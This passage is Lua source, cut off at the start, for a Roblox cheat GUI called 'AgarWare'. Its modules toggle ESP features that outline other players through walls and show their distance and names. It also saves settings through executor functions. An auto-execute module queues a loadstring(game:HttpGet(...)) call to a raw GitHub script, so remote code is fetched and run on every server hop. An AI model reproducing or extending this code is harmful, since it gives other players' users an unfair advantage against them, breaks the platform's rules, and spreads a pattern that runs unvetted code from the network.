Enum.AutomaticSize.XY tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame ESPMaxDistTickBox.MouseEnter:Connect(function() local abs = ESPMaxDistTickBox.AbsolutePosition local size = ESPMaxDistTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ESPMaxDistTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) ESPGroup:SetAttribute("ESPMaxDist", defaultDist) ESPMaxDistChanger.PlaceholderText = tostring(defaultDist) ESPMaxDistChanger.FocusLost:Connect(function() local input = ESPMaxDistChanger.Text if input:lower() == "inf" then ESPGroup:SetAttribute("ESPMaxDist", math.huge) ESPMaxDistChanger.PlaceholderText = "inf" ESPMaxDistChanger.Text = "" else local num = tonumber(input) if num and num > 0 then num = math.clamp(num, 1, 100000) ESPGroup:SetAttribute("ESPMaxDist", num) ESPMaxDistChanger.PlaceholderText = tostring(num) ESPMaxDistChanger.Text = "" else ESPMaxDistChanger.Text = "" end end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then ESPGroup:SetAttribute("ESPMaxDist", 1000) tooltipFrame:Destroy() end end) end; task.spawn(C_89); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceScript local function C_8e() local script = G2L["8e"]; local Players = game:GetService("Players") local ESPGroup = script.Parent.Parent local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor") local ESPDistanceTickBox = script.Parent:WaitForChild("ESPDistanceTickBox") local isEnabled = false local function getAccent() return ESPAccentColor.BackgroundColor3 end local function getScreenGui() local parent = ESPGroup while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = tooltipFrame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = tooltipFrame local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Shows distance to players next to their name" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame ESPDistanceTickBox.MouseEnter:Connect(function() local abs = ESPDistanceTickBox.AbsolutePosition local size = ESPDistanceTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ESPDistanceTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) ESPDistanceTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled if isEnabled then ESPDistanceTickBox.BackgroundColor3 = getAccent() else ESPDistanceTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end ESPGroup:SetAttribute("ShowDist", isEnabled) end) ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function() local espEnabled = ESPGroup:GetAttribute("ESPEnabled") if not espEnabled then ESPGroup:SetAttribute("ShowDist", false) elseif espEnabled and isEnabled then ESPGroup:SetAttribute("ShowDist", true) end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then isEnabled = false ESPGroup:SetAttribute("ShowDist", false) tooltipFrame:Destroy() end end) end; task.spawn(C_8e); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineScript local function C_92() local script = G2L["92"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local ESPGroup = script.Parent.Parent local ESPAccentColor = ESPGroup:WaitForChild("ESPAccentColor") local ESPOutlineTickBox = script.Parent:WaitForChild("ESPOutlineTickBox") local isEnabled = false local ESPColor = Color3.fromRGB(255, 255, 255) ESPGroup:GetAttributeChangedSignal("ESPColor"):Connect(function() local newColor = ESPGroup:GetAttribute("ESPColor") if newColor then ESPColor = newColor for plr, data in pairs(ESPGuis) do if data then if data.NameLabel then data.NameLabel.TextColor3 = newColor end if data.DistLabel then data.DistLabel.TextColor3 = newColor end if typeof(data) == "Instance" and data:IsA("Highlight") then data.OutlineColor = newColor end end end end end) local ESPGuis = {} local function getAccent() return ESPAccentColor.BackgroundColor3 end local function getScreenGui() local parent = ESPGroup while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = tooltipFrame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = tooltipFrame local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Shows an outline around players through walls" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame ESPOutlineTickBox.MouseEnter:Connect(function() local abs = ESPOutlineTickBox.AbsolutePosition local size = ESPOutlineTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ESPOutlineTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) local function createOutline(targetPlayer) local char = targetPlayer.Character if not char then return end for _, v in pairs(char:GetChildren()) do if v:IsA("Highlight") and v.Name == "ESPOutlineHighlight" then v:Destroy() end end local highlight = Instance.new("Highlight") highlight.Name = "ESPOutlineHighlight" highlight.FillTransparency = 1 highlight.OutlineColor = ESPColor highlight.OutlineTransparency = 0 highlight.Enabled = true RunService.RenderStepped:Connect(function() local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false if not isEnabled or not espEnabled then highlight.Enabled = false return end local myChar = LocalPlayer.Character local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart") local targetChar = targetPlayer.Character local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart") if myHRP and targetHRP then local maxDist = ESPGroup:GetAttribute("ESPMaxDist") or 1000 local dist = (myHRP.Position - targetHRP.Position).Magnitude highlight.Enabled = dist <= maxDist end end) highlight.Parent = char ESPGuis[targetPlayer] = highlight local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.Died:Connect(function() if ESPGuis[targetPlayer] then ESPGuis[targetPlayer]:Destroy() ESPGuis[targetPlayer] = nil end end) end end local function removeOutline(targetPlayer) if ESPGuis[targetPlayer] then ESPGuis[targetPlayer]:Destroy() ESPGuis[targetPlayer] = nil end end local function enable() isEnabled = true ESPOutlineTickBox.BackgroundColor3 = getAccent() for _, plr in pairs(Players:GetPlayers()) do if plr ~= LocalPlayer then createOutline(plr) plr.CharacterAdded:Connect(function() task.wait(0.5) if isEnabled then createOutline(plr) end end) end end end local function disable() isEnabled = false ESPOutlineTickBox.BackgroundColor3 = Color3.new(0, 0, 0) local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false if not espEnabled then for plr in pairs(ESPGuis) do removeOutline(plr) end end end Players.PlayerAdded:Connect(function(plr) if isEnabled and plr ~= LocalPlayer then createOutline(plr) plr.CharacterAdded:Connect(function() task.wait(0.5) if isEnabled then createOutline(plr) end end) end end) Players.PlayerRemoving:Connect(function(plr) removeOutline(plr) end) ESPOutlineTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function() local espEnabled = ESPGroup:GetAttribute("ESPEnabled") ~= false if not espEnabled then for plr in pairs(ESPGuis) do removeOutline(plr) end elseif isEnabled then for _, plr in pairs(Players:GetPlayers()) do if plr ~= LocalPlayer then if not ESPGuis[plr] then createOutline(plr) end end end end end) ESPGroup:GetAttributeChangedSignal("ESPEnabled"):Connect(function() local espEnabled = ESPGroup:GetAttribute("ESPEnabled") for plr, highlight in pairs(ESPGuis) do if highlight and typeof(highlight) == "Instance" then highlight.Enabled = espEnabled and isEnabled end end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() tooltipFrame:Destroy() end end) end; task.spawn(C_92); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSScript local function C_98() local script = G2L["98"]; local ESPSGroup = script.Parent local ESPSMinimize = ESPSGroup.ESPSTitle.ESPSMinimize local function getRows() local rows = {} for _, child in ipairs(ESPSGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = ESPSGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) ESPSMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then ESPSGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end ESPSMinimize.Text = "+" else ESPSGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end ESPSMinimize.Text = "-" end end) end; task.spawn(C_98); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableScript local function C_9e() local script = G2L["9e"]; local ESPSGroup = script.Parent.Parent local ESPSAccentColor = ESPSGroup.ESPSAccentColor local ESPEnableTickBox = script.Parent:WaitForChild("ESPEnableTickBox") local isEnabled = false local function getAccent() return ESPSAccentColor.BackgroundColor3 end local function getScreenGui() local parent = ESPSGroup while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "ESPEnableTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Enable or disable ESP" tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.AutomaticSize = Enum.AutomaticSize.Y tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame ESPEnableTickBox.MouseEnter:Connect(function() local abs = ESPEnableTickBox.AbsolutePosition local size = ESPEnableTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ESPEnableTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) ESPEnableTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled if isEnabled then ESPEnableTickBox.BackgroundColor3 = getAccent() else ESPEnableTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end local visualPage = ESPSGroup.Parent.Parent local espGroup = visualPage.VisualLeftSide:FindFirstChild("ESPGroup") if espGroup then espGroup:SetAttribute("ESPEnabled", isEnabled) end end) ESPEnableTickBox.BackgroundColor3 = getAccent() isEnabled = true local visualPage = ESPSGroup.Parent.Parent local espGroup = visualPage.VisualLeftSide:FindFirstChild("ESPGroup") if espGroup then espGroup:SetAttribute("ESPEnabled", true) end script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_9e); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserScript local function C_a2() local script = G2L["a2"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ESPSGroup = script.Parent.Parent local ESPSAccentColor = ESPSGroup:WaitForChild("ESPSAccentColor") local ESPUserTickBox = script.Parent:WaitForChild("ESPUserTickBox") local isEnabled = false local function getAccent() return ESPSAccentColor.BackgroundColor3 end local function getScreenGui() local parent = ESPSGroup while parent do if parent:IsA("ScreenGui") then return parent end parent = parent.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = tooltipFrame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = tooltipFrame local tooltipLabel = Instance.new("TextLabel") tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Shows display name instead of username on Name ESP" tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 tooltipLabel.Parent = tooltipFrame ESPUserTickBox.MouseEnter:Connect(function() local abs = ESPUserTickBox.AbsolutePosition local size = ESPUserTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ESPUserTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) ESPUserTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled if isEnabled then ESPUserTickBox.BackgroundColor3 = getAccent() else ESPUserTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end ESPSGroup:SetAttribute("UseDisplayName", isEnabled) end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then isEnabled = false ESPUserTickBox.BackgroundColor3 = Color3.new(0, 0, 0) tooltipFrame:Destroy() end end) end; task.spawn(C_a2); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsScript local function C_a9() local script = G2L["a9"]; local MainSettingsGroup = script.Parent local MainSettingsMinimize = MainSettingsGroup.MainSettingsTitle.MainSettingsMinimize local function getRows() local rows = {} for _, child in ipairs(MainSettingsGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = MainSettingsGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) MainSettingsMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then MainSettingsGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end MainSettingsMinimize.Text = "+" else MainSettingsGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end MainSettingsMinimize.Text = "-" end end) end; task.spawn(C_a9); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTooltip local function C_aa() local script = G2L["aa"]; -- ============================================================ -- SAVE SCRIPTS TOOLTIP SCRIPT -- ============================================================ -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND SAVE SCRIPTS TICKBOX -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local SaveScriptsTickBox = findDescendant("SaveScriptsTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIP -- ============================================================ local saveScriptsTooltip = makeTooltip( "Automatically saves your enabled scripts and settings. When you rejoin, all your scripts will be re-enabled but wait about a few seconds for it to load fully." ) -- ============================================================ -- HOOK IT -- ============================================================ hookTooltip(SaveScriptsTickBox, saveScriptsTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then saveScriptsTooltip:Destroy() end end) end; task.spawn(C_aa); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsScript local function C_b0() local script = G2L["b0"]; -- SaveScriptsScript (Modified) local Players = game:GetService("Players") local localPlayer = Players.LocalPlayer local CoreGui = game:GetService("CoreGui") local AgarWareGui = CoreGui:WaitForChild("AgarWareGui") local MainFrame = AgarWareGui:FindFirstChild("MainFrame", true) local SaveScriptsTickBox = nil for _, descendant in pairs(MainFrame:GetDescendants()) do if descendant.Name == "SaveScriptsTickBox" and descendant:IsA("TextButton") then SaveScriptsTickBox = descendant break end end if not SaveScriptsTickBox then warn("[SaveScripts] Could not find SaveScriptsTickBox!") return end -- Create BindableEvent for progress tracking local LoadingProgress = Instance.new("BindableEvent") LoadingProgress.Name = "SaveScriptsLoadingProgress" LoadingProgress.Parent = AgarWareGui local FILE_NAME = "universalscript_save.txt" local saveEnabled = false local isApplyingLoad = false local hasLoadedOnce = false local function readFile() local success, result = pcall(function() return readfile(FILE_NAME) end) if success and result and result ~= "" then return result end return nil end local function writeFile(content) pcall(function() writefile(FILE_NAME, content) end) end local function loadSave() local data = readFile() if not data then return nil end local decoded = {} for line in data:gmatch("[^\n]+") do local key, value = line:match("(.-)=(.+)") if key and value then decoded[key] = value end end if decoded["saveEnabled"] ~= "true" then return nil end return next(decoded) and decoded or nil end local function isTickBox(child) if not child:IsA("TextButton") then return false end if not child.Name:match("TickBox$") then return false end return true end local function isChanger(child) if not child:IsA("TextBox") then return false end if not child.Name:match("Changer$") then return false end return true end local function isTickBoxEnabled(tickBox) local color = tickBox.BackgroundColor3 return color.R == 0 and math.abs(color.G - 123/255) < 0.01 and color.B == 1 end local function saveData() if not saveEnabled then return end if not MainFrame or not MainFrame.Parent then return end local lines = {} table.insert(lines, "saveEnabled=true") local pos = MainFrame.Position table.insert(lines, "posXScale=" .. pos.X.Scale) table.insert(lines, "posXOffset=" .. pos.X.Offset) table.insert(lines, "posYScale=" .. pos.Y.Scale) table.insert(lines, "posYOffset=" .. pos.Y.Offset) local ContentArea = MainFrame:FindFirstChild("ContentArea") if not ContentArea then return end for _, page in pairs(ContentArea:GetChildren()) do if page:IsA("ScrollingFrame") then for _, side in pairs(page:GetChildren()) do if side:IsA("Frame") then for _, group in pairs(side:GetChildren()) do if group:IsA("Frame") then for _, row in pairs(group:GetChildren()) do if row:IsA("Frame") then for _, child in pairs(row:GetChildren()) do if isTickBox(child) then local enabled = isTickBoxEnabled(child) table.insert(lines, row.Name .. "_" .. child.Name .. "=" .. tostring(enabled)) end if isChanger(child) then if child.Text ~= "" and child.Text ~= child.PlaceholderText then table.insert(lines, row.Name .. "_" .. child.Name .. "_text=" .. child.Text) end end end end end end end end end end end writeFile(table.concat(lines, "\n")) end local function applyLoad(data) if not data or isApplyingLoad then return end if not MainFrame or not MainFrame.Parent then return end isApplyingLoad = true MainFrame:SetAttribute("IsLoading", true) local wasDraggable = MainFrame.Draggable MainFrame.Draggable = false local xScale = tonumber(data["posXScale"]) local xOffset = tonumber(data["posXOffset"]) local yScale = tonumber(data["posYScale"]) local yOffset = tonumber(data["posYOffset"]) if xScale and xOffset and yScale and yOffset then MainFrame.Position = UDim2.new(xScale, xOffset, yScale, yOffset) end task.wait(0.01) local ContentArea = MainFrame:FindFirstChild("ContentArea") if not ContentArea then isApplyingLoad = false MainFrame:SetAttribute("IsLoading", false) MainFrame.Draggable = wasDraggable LoadingProgress:Fire(100.0) return end -- Count total items to load local totalItems = 0 local loadedItems = 0 for _, page in pairs(ContentArea:GetChildren()) do if page:IsA("ScrollingFrame") then for _, side in pairs(page:GetChildren()) do if side:IsA("Frame") then for _, group in pairs(side:GetChildren()) do if group:IsA("Frame") then for _, row in pairs(group:GetChildren()) do if row:IsA("Frame") then for _, child in pairs(row:GetChildren()) do if isTickBox(child) or isChanger(child) then totalItems = totalItems + 1 end end end end end end end end end end LoadingProgress:Fire(0.0) -- First: Load TextBox values AND trigger FocusLost for _, page in pairs(ContentArea:GetChildren()) do if page:IsA("ScrollingFrame") then for _, side in pairs(page:GetChildren()) do if side:IsA("Frame") then for _, group in pairs(side:GetChildren()) do if group:IsA("Frame") then for _, row in pairs(group:GetChildren()) do if row:IsA("Frame") then for _, child in pairs(row:GetChildren()) do if isChanger(child) then local savedText = data[row.Name .. "_" .. child.Name .. "_text"] if savedText then child.Text = savedText task.wait(0.02) pcall(function() firesignal(child.FocusLost, false) end) end -- Fire progress for EVERY item, not just ones with saved data loadedItems = loadedItems + 1 local progress = (loadedItems / totalItems) * 100 LoadingProgress:Fire(progress) end end end end end end end end end end task.wait(0.01) -- Second: Click TickBoxes for _, page in pairs(ContentArea:GetChildren()) do if not MainFrame or not MainFrame.Parent then break end if page:IsA("ScrollingFrame") then for _, side in pairs(page:GetChildren()) do if not MainFrame or not MainFrame.Parent then break end if side:IsA("Frame") then for _, group in pairs(side:GetChildren()) do if not MainFrame or not MainFrame.Parent then break end if group:IsA("Frame") then for _, row in pairs(group:GetChildren()) do if not MainFrame or not MainFrame.Parent then break end if row:IsA("Frame") then for _, child in pairs(row:GetChildren()) do if not MainFrame or not MainFrame.Parent then break end if isTickBox(child) then local savedValue = data[row.Name .. "_" .. child.Name] if savedValue then local shouldBeEnabled = savedValue == "true" local currentlyEnabled = isTickBoxEnabled(child) if shouldBeEnabled and not currentlyEnabled then pcall(function() firesignal(child.MouseButton1Click) end) task.wait(0.02) end end -- Fire progress for EVERY tickbox loadedItems = loadedItems + 1 local progress = (loadedItems / totalItems) * 100 LoadingProgress:Fire(progress) end end end end end end end end end end task.wait(1) LoadingProgress:Fire(100.0) isApplyingLoad = false if MainFrame and MainFrame.Parent then MainFrame:SetAttribute("IsLoading", false) MainFrame.Draggable = wasDraggable end hasLoadedOnce = true end task.spawn(function() while true do task.wait(2) if saveEnabled and MainFrame and MainFrame.Parent and hasLoadedOnce then saveData() end end end) SaveScriptsTickBox.MouseButton1Click:Connect(function() saveEnabled = not saveEnabled if saveEnabled then SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) saveData() else saveEnabled = false SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) writeFile("saveEnabled=false") end end) task.spawn(function() task.wait(0.03) if not MainFrame or not MainFrame.Parent then return end local data = loadSave() if not data then return end saveEnabled = true SaveScriptsTickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255) applyLoad(data) end) end; task.spawn(C_b0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteScript local function C_b4() local script = G2L["b4"]; -- AutoExecuteScript local AutoExecuteTickBox = script.Parent.AutoExecuteTickBox local MainSettingsGroup = script.Parent.Parent local MainSettingsAccentColor = MainSettingsGroup.MainSettingsAccentColor local SCRIPT_URL = "https://raw.githubusercontent.com/agarv69/Open-Source-Scripts/refs/heads/main/AGARWARE.lua" local isEnabled = false AutoExecuteTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -- ============================================================ -- TOOLTIP -- ============================================================ local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke", tooltipFrame) tooltipStroke.Color = Color3.fromRGB(57, 57, 57) local tooltipPadding = Instance.new("UIPadding", tooltipFrame) tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) local tooltipLabel = Instance.new("TextLabel", tooltipFrame) tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Automatically executes this script when you server hop." tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 AutoExecuteTickBox.MouseEnter:Connect(function() local abs = AutoExecuteTickBox.AbsolutePosition local size = AutoExecuteTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) AutoExecuteTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- ============================================================ -- QUEUE ON TELEPORT -- ============================================================ local function setupQueueOnTeleport() local queueFn = queue_on_teleport or (syn and syn.queue_on_teleport) or (fluxus and fluxus.queue_on_teleport) if queueFn then queueFn([[ loadstring(game:HttpGet("https://raw.githubusercontent.com/agarv69/Open-Source-Scripts/refs/heads/main/AGARWARE.lua"))() ]]) end end -- ============================================================ -- ENABLE / DISABLE -- ============================================================ local function enable() isEnabled = true AutoExecuteTickBox.BackgroundColor3 = MainSettingsAccentColor.BackgroundColor3 setupQueueOnTeleport() end local function disable() isEnabled = false AutoExecuteTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end -- ============================================================ -- TICKBOX TOGGLE -- ============================================================ AutoExecuteTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; 